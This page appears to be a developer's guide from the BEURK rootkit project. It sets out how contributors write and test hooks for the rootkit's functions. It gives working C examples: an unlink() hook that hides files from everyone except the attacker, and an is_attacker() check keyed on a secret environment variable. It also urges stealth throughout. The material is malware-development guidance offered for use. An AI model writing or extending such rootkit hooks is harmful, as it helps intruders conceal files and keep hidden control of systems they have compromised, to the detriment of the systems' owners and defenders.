-
Notifications
You must be signed in to change notification settings - Fork 94
Developer's Guide
The following guide provides requirements and recommended practices for writing code on the BEURK rootkit.
A hook is an homemade function which pretends to be a standard function.
As the rootkit is mostly based on function hooking, a complete procedure is available to ease new hooks development.
Every hook must meet the following requirements:
-
A prototype defined in
/includes/hooks.h
-
A source file named
/src/hooks/<hook_name>.c
-
A dedicated unit-test in
/tests/core/hooks
-
Function must start with:
init(); DEBUG(D_INFO, "called <hook_name>(<man_section>) hook");
NOTE:
init()
must be called explicitly on each internal API function because some systems only call it at library memory load time.
Function hook's prototype must be defined in /includes/hooks.h
, and
flagged with the _HOOKED
macros in it's end.
NOTE: The
_HOOKED
macro tells the compiler that the function symbol must be visible, as the rootkit is compiled with the-fvisibility=hidden
attribute.
Example:
/* /includes/hooks.h */
int unlink(const char *pathname) _HOOKED;
This step is very important, as the builder parses hooks.h
in
order to generate REAL_<HOOK_NAME>
macros.
Each function hook must be written in its own file, named
/src/hooks/<hook_name>.c
.
In order to ease development, a REAL_<HOOK_NAME>()
macro is generated at
compile time, and can be used to call the equivalent non-hooked function.
Keep stealth in mind while writing a hook !
Example:
/* /src/hooks/unlink.c */
int unlink(const char *pathname) {
DEBUG(D_INFO, "called unlink(2) hooked");
if (is_attacker()) {
return REAL_UNLINK(pathname);
}
else if (is_hidden_file(pathname)) {
errno = ENOENT;
return -1;
}
return REAL_UNLINK(pathname);
}
Each hook must be tested to ensure that no breakage occurs, and to assess
stealthyness. Those tests must be placed in the /tests/core/hooks
directory,
and will be automatically picked up by our test script.
-
Steps:
- Read the README file at
/tests/core/hooks/
. - Create a test file named
/tests/core/hooks/<HOOK>.c
with valid checks. - Add tests calls on
/tests/core/hooks/run.py
.
- Read the README file at
Every non-hook function must meet the following requirements:
- A prototype in
/includes/beurk.h
- A .c file in
/src/<function_name>.c
- A dedicated unit test in
/tests/core
- The first line of the non-hook function must be
DEBUG(D_INFO, "called <function>()")
In this example, we decide to write an is_attacker() function.
- Add the prototype on beurk.h
-
(append to
/includes/beurk.h
):
/* is_attacker.c */ int is_attacker(void); ```
- Write the function itself
- (create an appropriate .c file, aka
/src/is_attacker.c
):int is_attacker(void) { init(); /* must be called at start, as for function hooks */ DEBUG(D_INFO, "called is_attacker()"); static int attacker = -1; if (attacker != -1) return (attacker); if (getenv(HIDDEN_ENV_VAR)) { DEBUG(D_INFO, "This is the attacker."); attacker = 1; } else { DEBUG(D_INFO, "This isn't the attacker."); attacker = 0; } return (attacker); }
- Create a test for the function
- Read the README file at
/tests/core/
. - Create a test file named
/tests/core/<function>.c
with valid checks. - Add tests calls on
/tests/core/run.py
.